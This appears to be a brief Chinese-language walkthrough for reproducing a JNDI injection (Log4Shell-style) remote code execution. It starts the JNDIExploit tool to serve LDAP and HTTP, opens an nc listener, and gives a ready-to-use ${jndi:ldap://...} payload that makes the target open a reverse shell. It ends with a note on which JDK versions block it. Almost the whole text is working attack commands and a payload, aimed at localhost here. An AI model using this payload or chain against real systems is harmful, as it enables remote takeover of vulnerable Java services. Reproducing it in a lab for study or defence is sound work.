1、使用JNDIExploit启动LDAP与 HTTP https://github.com/0x727/JNDIExploit

[email protected] ~> java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 127.0.0.1

[+] LDAP Server Start Listening on 1389... [+] HTTP Server Start Listening on 3456...

2、nc 开启监听

[email protected] ~> nc -l 127.0.0.1 8088 -v

3、payload：

${jndi:ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/8088}

当前版本1.8.0_181 ，jdk1.8.191以上默认不支持ldap协议无法复现